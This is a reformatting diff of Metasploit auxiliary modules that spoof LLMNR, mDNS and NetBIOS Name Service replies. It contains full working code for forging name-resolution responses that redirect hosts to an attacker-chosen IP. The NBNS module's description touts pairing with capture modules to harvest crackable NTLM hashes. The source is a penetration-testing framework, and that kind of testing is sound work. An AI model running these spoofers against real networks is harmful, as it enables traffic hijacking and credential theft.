||||
results[entry][:base][rtype].sort.each do |ref|
|
||||
if !results[entry][:targ][rtype].include?(ref)
|
||||
n_sub << (" - #{entry} #{rtype} #{ref}")
|
||||
end
|
||||
results[entry][:targ][rtype].sort.each do |ref|
|
||||
if(not results[entry][:base][rtype].include?(ref))
|
||||
n_add << (" + #{entry} #{rtype} #{ref}")
|
||||
end
|
||||
end
|
||||
results[entry][:targ][rtype].sort.each do |ref|
|
||||
if !results[entry][:base][rtype].include?(ref)
|
||||
n_add << (" + #{entry} #{rtype} #{ref}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
n_sub.each {|s| print_status(s) }
|
||||
n_add.each {|s| print_status(s) }
|
||||
n_sub.each { |s| print_status(s) }
|
||||
n_add.each { |s| print_status(s) }
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,7 +3,6 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
@@ -9,41 +9,42 @@ require 'net/dns'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
attr_accessor :sock, :thread
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
attr_accessor :sock, :thread
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'LLMNR Spoofer',
|
||||
'Name' => 'LLMNR Spoofer',
|
||||
'Description' => %q{
|
||||
LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to
|
||||
resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests
|
||||
sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address.
|
||||
},
|
||||
'Author' => [ 'Robin Francois <rof[at]navixia.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.ietf.org/rfc/rfc4795.txt' ]
|
||||
],
|
||||
'Author' => [ 'Robin Francois <rof[at]navixia.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'http://www.ietf.org/rfc/rfc4795.txt' ]
|
||||
],
|
||||
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Service', 'Description' => 'Run LLMNR spoofing service' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service'
|
||||
'Actions' => [
|
||||
[ 'Service', { 'Description' => 'Run LLMNR spoofing service' } ]
|
||||
],
|
||||
'PassiveActions' => [
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service',
|
||||
'Notes' => {
|
||||
'Stability' => [OS_RESOURCE_LOSS],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", ""]),
|
||||
OptRegexp.new('REGEX', [ true, "Regex applied to the LLMNR Name to determine if spoofed reply is sent", '.*']),
|
||||
OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 30]),
|
||||
OptAddress.new('SPOOFIP', [ true, 'IP address with which to poison responses', '']),
|
||||
OptRegexp.new('REGEX', [ true, 'Regex applied to the LLMNR Name to determine if spoofed reply is sent', '.*']),
|
||||
OptInt.new('TTL', [ false, 'Time To Live for the spoofed response', 30]),
|
||||
])
|
||||
|
||||
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
|
||||
@@ -83,35 +84,35 @@ attr_accessor :sock, :thread
|
||||
case question.qType.to_i
|
||||
when ::Net::DNS::A
|
||||
dns_pkt.answer << ::Net::DNS::RR::A.new(
|
||||
:name => name,
|
||||
:ttl => datastore['TTL'],
|
||||
:cls => ::Net::DNS::IN,
|
||||
:type => ::Net::DNS::A,
|
||||
:address => spoof.to_s
|
||||
name: name,
|
||||
ttl: datastore['TTL'],
|
||||
cls: ::Net::DNS::IN,
|
||||
type: ::Net::DNS::A,
|
||||
address: spoof.to_s
|
||||
)
|
||||
when ::Net::DNS::AAAA
|
||||
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
|
||||
:name => name,
|
||||
:ttl => datastore['TTL'],
|
||||
:cls => ::Net::DNS::IN,
|
||||
:type => ::Net::DNS::AAAA,
|
||||
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
|
||||
name: name,
|
||||
ttl: datastore['TTL'],
|
||||
cls: ::Net::DNS::IN,
|
||||
type: ::Net::DNS::AAAA,
|
||||
address: (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
|
||||
)
|
||||
when ::Net::DNS::ANY
|
||||
# For ANY queries, respond with both an A record as well as an AAAA.
|
||||
dns_pkt.answer << ::Net::DNS::RR::A.new(
|
||||
:name => name,
|
||||
:ttl => datastore['TTL'],
|
||||
:cls => ::Net::DNS::IN,
|
||||
:type => ::Net::DNS::A,
|
||||
:address => spoof.to_s
|
||||
name: name,
|
||||
ttl: datastore['TTL'],
|
||||
cls: ::Net::DNS::IN,
|
||||
type: ::Net::DNS::A,
|
||||
address: spoof.to_s
|
||||
)
|
||||
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
|
||||
:name => name,
|
||||
:ttl => datastore['TTL'],
|
||||
:cls => ::Net::DNS::IN,
|
||||
:type => ::Net::DNS::AAAA,
|
||||
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
|
||||
name: name,
|
||||
ttl: datastore['TTL'],
|
||||
cls: ::Net::DNS::IN,
|
||||
type: ::Net::DNS::AAAA,
|
||||
address: (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
|
||||
)
|
||||
when ::Net::DNS::PTR
|
||||
# Sometimes PTR queries are received. We will silently ignore them.
|
||||
@@ -127,28 +128,28 @@ attr_accessor :sock, :thread
|
||||
return if dns_pkt.answer.empty?
|
||||
|
||||
udp = ::PacketFu::UDPHeader.new(
|
||||
:udp_src => 5355,
|
||||
:udp_dst => src_port,
|
||||
:body => dns_pkt.data
|
||||
udp_src: 5355,
|
||||
udp_dst: src_port,
|
||||
body: dns_pkt.data
|
||||
)
|
||||
udp.udp_recalc
|
||||
if rhost.ipv4?
|
||||
ip_pkt = ::PacketFu::IPPacket.new(
|
||||
:ip_src => spoof.hton,
|
||||
:ip_dst => rhost.hton,
|
||||
:ip_proto => 0x11, # UDP
|
||||
:body => udp
|
||||
ip_src: spoof.hton,
|
||||
ip_dst: rhost.hton,
|
||||
ip_proto: 0x11, # UDP
|
||||
body: udp
|
||||
)
|
||||
elsif rhost.ipv6?
|
||||
ip_pkt = ::PacketFu::IPv6Packet.new(
|
||||
:ipv6_src => spoof.hton,
|
||||
:ipv6_dst => rhost.hton,
|
||||
:ip_proto => 0x11, # UDP
|
||||
:body => udp
|
||||
ipv6_src: spoof.hton,
|
||||
ipv6_dst: rhost.hton,
|
||||
ip_proto: 0x11, # UDP
|
||||
body: udp
|
||||
)
|
||||
else
|
||||
# Should never get here
|
||||
print_error("IP version is not 4 or 6. Failed to parse?")
|
||||
print_error('IP version is not 4 or 6. Failed to parse?')
|
||||
return
|
||||
end
|
||||
ip_pkt.recalc
|
||||
@@ -157,21 +158,20 @@ attr_accessor :sock, :thread
|
||||
end
|
||||
|
||||
def monitor_socket
|
||||
while true
|
||||
rds = [self.sock]
|
||||
loop do
|
||||
rds = [sock]
|
||||
wds = []
|
||||
eds = [self.sock]
|
||||
eds = [sock]
|
||||
|
||||
r,_,_ = ::IO.select(rds,wds,eds,0.25)
|
||||
r, = ::IO.select(rds, wds, eds, 0.25)
|
||||
|
||||
if (r != nil and r[0] == self.sock)
|
||||
packet, host, port = self.sock.recvfrom(65535)
|
||||
if !r.nil? && (r[0] == sock)
|
||||
packet, host, port = sock.recvfrom(65535)
|
||||
dispatch_request(packet, host, port)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Don't spam with success, just throttle to every 10 seconds
|
||||
# per host
|
||||
def should_print_reply?(host)
|
||||
@@ -179,7 +179,7 @@ attr_accessor :sock, :thread
|
||||
now = Time.now.utc
|
||||
@notified_times[host] ||= now
|
||||
last_notified = now - @notified_times[host]
|
||||
if last_notified == 0 or last_notified > 10
|
||||
if (last_notified == 0) || (last_notified > 10)
|
||||
@notified_times[host] = now
|
||||
else
|
||||
false
|
||||
@@ -187,48 +187,52 @@ attr_accessor :sock, :thread
|
||||
end
|
||||
|
||||
def run
|
||||
check_pcaprub_loaded()
|
||||
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
||||
check_pcaprub_loaded
|
||||
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
||||
|
||||
# Avoid receiving extraneous traffic on our send socket
|
||||
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
|
||||
open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' })
|
||||
|
||||
# Multicast Address for LLMNR
|
||||
multicast_addr = ::IPAddr.new("224.0.0.252")
|
||||
multicast_addr = ::IPAddr.new('224.0.0.252')
|
||||
|
||||
# The bind address here will determine which interface we receive
|
||||
# multicast packets from. If the address is INADDR_ANY, we get them
|
||||
# from all interfaces, so try to restrict if we can, but fall back
|
||||
# if we can't
|
||||
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
|
||||
bind_addr = begin
|
||||
get_ipv4_addr(datastore['INTERFACE'])
|
||||
rescue StandardError
|
||||
'0.0.0.0'
|
||||
end
|
||||
|
||||
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
|
||||
self.sock = Rex::Socket.create_udp(
|
||||
# This must be INADDR_ANY to receive multicast packets
|
||||
'LocalHost' => "0.0.0.0",
|
||||
'LocalHost' => '0.0.0.0',
|
||||
'LocalPort' => 5355,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
)
|
||||
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
|
||||
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
|
||||
|
||||
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
|
||||
self.thread = Rex::ThreadFactory.spawn('LLMNRServerMonitor', false) do
|
||||
monitor_socket
|
||||
}
|
||||
end
|
||||
|
||||
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
|
||||
|
||||
add_socket(self.sock)
|
||||
add_socket(sock)
|
||||
|
||||
self.thread.join
|
||||
thread.join
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if self.thread and self.thread.alive?
|
||||
self.thread.kill
|
||||
if thread && thread.alive?
|
||||
thread.kill
|
||||
self.thread = nil
|
||||
end
|
||||
self.sock.close
|
||||
sock.close
|
||||
close_pcap
|
||||
end
|
||||
end
|
||||
|
||||
@@ -9,40 +9,41 @@ require 'net/dns'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
attr_accessor :sock, :thread
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
attr_accessor :sock, :thread
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'mDNS Spoofer',
|
||||
'Name' => 'mDNS Spoofer',
|
||||
'Description' => %q{
|
||||
This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
|
||||
},
|
||||
'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>', 'James Lee <egypt[at]metasploit.com>', 'Robin Francois <rof[at]navixia.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://tools.ietf.org/html/rfc6762' ]
|
||||
],
|
||||
'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>', 'James Lee <egypt[at]metasploit.com>', 'Robin Francois <rof[at]navixia.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'https://tools.ietf.org/html/rfc6762' ]
|
||||
],
|
||||
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Service', 'Description' => 'Run mDNS spoofing service' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service'
|
||||
'Actions' => [
|
||||
[ 'Service', { 'Description' => 'Run mDNS spoofing service' } ]
|
||||
],
|
||||
'PassiveActions' => [
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service',
|
||||
'Notes' => {
|
||||
'Stability' => [SERVICE_RESOURCE_LOSS],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptAddress.new('SPOOFIP4', [ true, "IPv4 address with which to spoof A-record queries", ""]),
|
||||
OptAddress.new('SPOOFIP6', [ false, "IPv6 address with which to spoof AAAA-record queries", ""]),
|
||||
OptRegexp.new('REGEX', [ true, "Regex applied to the mDNS to determine if spoofed reply is sent", '.*']),
|
||||
OptInt.new('TTL', [ false, "Time To Live for the spoofed response (in seconds)", 120]),
|
||||
OptAddress.new('SPOOFIP4', [ true, 'IPv4 address with which to spoof A-record queries', '']),
|
||||
OptAddress.new('SPOOFIP6', [ false, 'IPv6 address with which to spoof AAAA-record queries', '']),
|
||||
OptRegexp.new('REGEX', [ true, 'Regex applied to the mDNS to determine if spoofed reply is sent', '.*']),
|
||||
OptInt.new('TTL', [ false, 'Time To Live for the spoofed response (in seconds)', 120]),
|
||||
])
|
||||
|
||||
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
|
||||
@@ -64,12 +65,16 @@ attr_accessor :sock, :thread
|
||||
dns_pkt = nil
|
||||
begin
|
||||
dns_pkt = ::Net::DNS::Packet.parse(packet)
|
||||
rescue
|
||||
rescue StandardError
|
||||
return
|
||||
end
|
||||
|
||||
spoof4 = ::IPAddr.new(datastore['SPOOFIP4'])
|
||||
spoof6 = ::IPAddr.new(datastore['SPOOFIP6']) rescue ''
|
||||
spoof6 = begin
|
||||
::IPAddr.new(datastore['SPOOFIP6'])
|
||||
rescue StandardError
|
||||
''
|
||||
end
|
||||
|
||||
# Turn this packet into an authoritative response.
|
||||
dns_pkt.header.qr = 1
|
||||
@@ -78,11 +83,9 @@ attr_accessor :sock, :thread
|
||||
qm = true
|
||||
dns_pkt.question.each do |question|
|
||||
name = question.qName
|
||||
if datastore['REGEX'] != '.*'
|
||||
unless name =~ /#{datastore['REGEX']}/i
|
||||
vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
|
||||
next
|
||||
end
|
||||
if datastore['REGEX'] != '.*' && name !~ /#{datastore['REGEX']}/i
|
||||
vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
|
||||
next
|
||||
end
|
||||
|
||||
# Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response.
|
||||
@@ -96,21 +99,21 @@ attr_accessor :sock, :thread
|
||||
case question.qType.to_i
|
||||
when ::Net::DNS::A
|
||||
dns_pkt.answer << ::Net::DNS::RR::A.new(
|
||||
:name => name,
|
||||
:ttl => datastore['TTL'],
|
||||
:cls => 0x8001, # Class IN, with flush cache flag
|
||||
:type => ::Net::DNS::A,
|
||||
:address => spoof4.to_s
|
||||
name: name,
|
||||
ttl: datastore['TTL'],
|
||||
cls: 0x8001, # Class IN, with flush cache flag
|
||||
type: ::Net::DNS::A,
|
||||
address: spoof4.to_s
|
||||
)
|
||||
responding_with = spoof4.to_s
|
||||
when ::Net::DNS::AAAA
|
||||
if spoof6 != ''
|
||||
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
|
||||
:name => name,
|
||||
:ttl => datastore['TTL'],
|
||||
:cls => 0x8001, # Class IN, with flush cache flag
|
||||
:type => ::Net::DNS::AAAA,
|
||||
:address => spoof6.to_s
|
||||
name: name,
|
||||
ttl: datastore['TTL'],
|
||||
cls: 0x8001, # Class IN, with flush cache flag
|
||||
type: ::Net::DNS::AAAA,
|
||||
address: spoof6.to_s
|
||||
)
|
||||
responding_with = spoof6.to_s
|
||||
end
|
||||
@@ -120,13 +123,13 @@ attr_accessor :sock, :thread
|
||||
end
|
||||
|
||||
# If we are responding to this query, and we haven't spammed stdout recently, print a notification.
|
||||
if not responding_with.nil? and should_print_reply?(name)
|
||||
if !responding_with.nil? && should_print_reply?(name)
|
||||
print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}")
|
||||
end
|
||||
end
|
||||
|
||||
# Clear the questions from the responses. They aren't observed in legit responses.
|
||||
dns_pkt.question.clear()
|
||||
dns_pkt.question.clear
|
||||
|
||||
# If we didn't find anything we want to spoof, don't send any
|
||||
# packets
|
||||
@@ -134,11 +137,11 @@ attr_accessor :sock, :thread
|
||||
|
||||
begin
|
||||
udp = ::PacketFu::UDPHeader.new(
|
||||
:udp_src => 5353,
|
||||
:udp_dst => src_port,
|
||||
:body => dns_pkt.data
|
||||
udp_src: 5353,
|
||||
udp_dst: src_port,
|
||||
body: dns_pkt.data
|
||||
)
|
||||
rescue
|
||||
rescue StandardError
|
||||
return
|
||||
end
|
||||
udp.udp_recalc
|
||||
@@ -150,24 +153,24 @@ attr_accessor :sock, :thread
|
||||
dst = ::IPAddr.new('224.0.0.251')
|
||||
end
|
||||
ip_pkt = ::PacketFu::IPPacket.new(
|
||||
:ip_src => spoof4.hton,
|
||||
:ip_dst => dst.hton,
|
||||
:ip_proto => 0x11, # UDP
|
||||
:body => udp
|
||||
ip_src: spoof4.hton,
|
||||
ip_dst: dst.hton,
|
||||
ip_proto: 0x11, # UDP
|
||||
body: udp
|
||||
)
|
||||
elsif rhost.ipv6?
|
||||
if qm
|
||||
dst = ::IPAddr.new('ff02::fb')
|
||||
end
|
||||
ip_pkt = ::PacketFu::IPv6Packet.new(
|
||||
:ipv6_src => spoof6.hton,
|
||||
:ipv6_dst => dst.hton,
|
||||
:ip_proto => 0x11, # UDP
|
||||
:body => udp
|
||||
ipv6_src: spoof6.hton,
|
||||
ipv6_dst: dst.hton,
|
||||
ip_proto: 0x11, # UDP
|
||||
body: udp
|
||||
)
|
||||
else
|
||||
# Should never get here
|
||||
print_error("IP version is not 4 or 6. Failed to parse?")
|
||||
print_error('IP version is not 4 or 6. Failed to parse?')
|
||||
return
|
||||
end
|
||||
ip_pkt.recalc
|
||||
@@ -176,21 +179,20 @@ attr_accessor :sock, :thread
|
||||
end
|
||||
|
||||
def monitor_socket
|
||||
while true
|
||||
rds = [self.sock]
|
||||
loop do
|
||||
rds = [sock]
|
||||
wds = []
|
||||
eds = [self.sock]
|
||||
eds = [sock]
|
||||
|
||||
r,_,_ = ::IO.select(rds,wds,eds,0.25)
|
||||
r, = ::IO.select(rds, wds, eds, 0.25)
|
||||
|
||||
if (r != nil and r[0] == self.sock)
|
||||
packet, host, port = self.sock.recvfrom(65535)
|
||||
if !r.nil? && (r[0] == sock)
|
||||
packet, host, port = sock.recvfrom(65535)
|
||||
dispatch_request(packet, host, port)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Don't spam with success, just throttle to every 10 seconds
|
||||
# per host
|
||||
def should_print_reply?(host)
|
||||
@@ -198,7 +200,7 @@ attr_accessor :sock, :thread
|
||||
now = Time.now.utc
|
||||
@notified_times[host] ||= now
|
||||
last_notified = now - @notified_times[host]
|
||||
if last_notified == 0 or last_notified > 10
|
||||
if (last_notified == 0) || (last_notified > 10)
|
||||
@notified_times[host] = now
|
||||
else
|
||||
false
|
||||
@@ -206,48 +208,52 @@ attr_accessor :sock, :thread
|
||||
end
|
||||
|
||||
def run
|
||||
check_pcaprub_loaded()
|
||||
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
||||
check_pcaprub_loaded
|
||||
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
||||
|
||||
# Avoid receiving extraneous traffic on our send socket
|
||||
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
|
||||
open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' })
|
||||
|
||||
# Multicast Address for LLMNR
|
||||
multicast_addr = ::IPAddr.new("224.0.0.251")
|
||||
multicast_addr = ::IPAddr.new('224.0.0.251')
|
||||
|
||||
# The bind address here will determine which interface we receive
|
||||
# multicast packets from. If the address is INADDR_ANY, we get them
|
||||
# from all interfaces, so try to restrict if we can, but fall back
|
||||
# if we can't
|
||||
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
|
||||
bind_addr = begin
|
||||
get_ipv4_addr(datastore['INTERFACE'])
|
||||
rescue StandardError
|
||||
'0.0.0.0'
|
||||
end
|
||||
|
||||
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
|
||||
self.sock = Rex::Socket.create_udp(
|
||||
# This must be INADDR_ANY to receive multicast packets
|
||||
'LocalHost' => "0.0.0.0",
|
||||
'LocalHost' => '0.0.0.0',
|
||||
'LocalPort' => 5353,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
)
|
||||
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
|
||||
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
|
||||
sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
|
||||
|
||||
self.thread = Rex::ThreadFactory.spawn("MDNSServerMonitor", false) {
|
||||
self.thread = Rex::ThreadFactory.spawn('MDNSServerMonitor', false) do
|
||||
monitor_socket
|
||||
}
|
||||
end
|
||||
|
||||
print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...")
|
||||
|
||||
add_socket(self.sock)
|
||||
add_socket(sock)
|
||||
|
||||
self.thread.join
|
||||
thread.join
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if self.thread and self.thread.alive?
|
||||
self.thread.kill
|
||||
if thread && thread.alive?
|
||||
thread.kill
|
||||
self.thread = nil
|
||||
end
|
||||
self.sock.close
|
||||
sock.close
|
||||
close_pcap
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,44 +3,46 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
attr_accessor :sock, :thread
|
||||
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NetBIOS Name Service Spoofer',
|
||||
'Description' => %q{
|
||||
This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests
|
||||
sent to the local subnet's broadcast address and spoof a response, redirecting the querying
|
||||
machine to an IP of the attacker's choosing. Combined with auxiliary/server/capture/smb or
|
||||
auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable hashes on
|
||||
common networks.
|
||||
'Name' => 'NetBIOS Name Service Spoofer',
|
||||
'Description' => %q{
|
||||
This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests
|
||||
sent to the local subnet's broadcast address and spoof a response, redirecting the querying
|
||||
machine to an IP of the attacker's choosing. Combined with auxiliary/server/capture/smb or
|
||||
auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable
|
||||
hashes on common networks.
|
||||
|
||||
This module must be run as root and will bind to udp/137 on all interfaces.
|
||||
This module must be run as root and will bind to udp/137 on all interfaces.
|
||||
},
|
||||
'Author' => [ 'Tim Medin <tim[at]securitywhole.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ]
|
||||
],
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Service', 'Description' => 'Run NBNS spoofing service' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service'
|
||||
'Author' => [ 'Tim Medin <tim[at]securitywhole.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ]
|
||||
],
|
||||
'Actions' => [
|
||||
[ 'Service', { 'Description' => 'Run NBNS spoofing service' } ]
|
||||
],
|
||||
'PassiveActions' => [
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service',
|
||||
'Notes' => {
|
||||
'Stability' => [SERVICE_RESOURCE_LOSS],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", "127.0.0.1"]),
|
||||
OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']),
|
||||
OptAddress.new('SPOOFIP', [ true, 'IP address with which to poison responses', '127.0.0.1']),
|
||||
OptRegexp.new('REGEX', [ true, 'Regex applied to the NB Name to determine if spoofed reply is sent', '.*']),
|
||||
])
|
||||
|
||||
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
|
||||
@@ -62,22 +64,22 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
spoof = ::IPAddr.new(datastore['SPOOFIP'])
|
||||
|
||||
return if packet.length == 0
|
||||
return if packet.empty?
|
||||
|
||||
nbnsq_transid = packet[0..1]
|
||||
nbnsq_flags = packet[2..3]
|
||||
nbnsq_questions = packet[4..5]
|
||||
nbnsq_answerrr = packet[6..7]
|
||||
nbnsq_authorityrr = packet[8..9]
|
||||
nbnsq_transid = packet[0..1]
|
||||
nbnsq_flags = packet[2..3]
|
||||
nbnsq_questions = packet[4..5]
|
||||
nbnsq_answerrr = packet[6..7]
|
||||
nbnsq_authorityrr = packet[8..9]
|
||||
nbnsq_additionalrr = packet[10..11]
|
||||
nbnsq_name = packet[12..45]
|
||||
decoded = ""
|
||||
nbnsq_name = packet[12..45]
|
||||
decoded = ''
|
||||
nbnsq_name.slice(1..-2).each_byte do |c|
|
||||
decoded << "#{(c - 65).to_s(16)}"
|
||||
decoded << (c - 65).to_s(16).to_s
|
||||
end
|
||||
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
|
||||
nbnsq_type = packet[46..47]
|
||||
nbnsq_class = packet[48..49]
|
||||
nbnsq_decodedname = [decoded].pack('H*').to_s.strip
|
||||
nbnsq_type = packet[46..47]
|
||||
nbnsq_class = packet[48..49]
|
||||
|
||||
return unless nbnsq_decodedname =~ /#{datastore['REGEX'].source}/i
|
||||
|
||||
@@ -98,18 +100,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# time to build a response packet - Oh YEAH!
|
||||
response = nbnsq_transid +
|
||||
"\x85\x00" + # Flags = response + authoritative + recursion desired +
|
||||
"\x00\x00" + # Questions = 0
|
||||
"\x00\x01" + # Answer RRs = 1
|
||||
"\x00\x00" + # Authority RRs = 0
|
||||
"\x00\x00" + # Additional RRs = 0
|
||||
nbnsq_name + # original query name
|
||||
nbnsq_type + # Type = NB ...whatever that means
|
||||
nbnsq_class+ # Class = IN
|
||||
"\x00\x04\x93\xe0" + # TTL = a long ass time
|
||||
"\x00\x06" + # Datalength = 6
|
||||
"\x00\x00" + # Flags B-node, unique = whatever that means
|
||||
spoof.hton
|
||||
"\x85\x00" + # Flags = response + authoritative + recursion desired +
|
||||
"\x00\x00" + # Questions = 0
|
||||
"\x00\x01" + # Answer RRs = 1
|
||||
"\x00\x00" + # Authority RRs = 0
|
||||
"\x00\x00" + # Additional RRs = 0
|
||||
nbnsq_name + # original query name
|
||||
nbnsq_type + # Type = NB ...whatever that means
|
||||
nbnsq_class+ # Class = IN
|
||||
"\x00\x04\x93\xe0" + # TTL = a long ass time
|
||||
"\x00\x06" + # Datalength = 6
|
||||
"\x00\x00" + # Flags B-node, unique = whatever that means
|
||||
spoof.hton
|
||||
|
||||
pkt = PacketFu::UDPPacket.new
|
||||
pkt.ip_saddr = Rex::Socket.source_address(rhost)
|
||||
@@ -124,56 +126,54 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def monitor_socket
|
||||
while true
|
||||
rds = [self.sock]
|
||||
loop do
|
||||
rds = [sock]
|
||||
wds = []
|
||||
eds = [self.sock]
|
||||
eds = [sock]
|
||||
|
||||
r,_,_ = ::IO.select(rds,wds,eds,0.25)
|
||||
if (r != nil and r[0] == self.sock)
|
||||
packet, host, port = self.sock.recvfrom(65535)
|
||||
r, = ::IO.select(rds, wds, eds, 0.25)
|
||||
if !r.nil? && (r[0] == sock)
|
||||
packet, host, port = sock.recvfrom(65535)
|
||||
dispatch_request(packet, host, port)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
check_pcaprub_loaded()
|
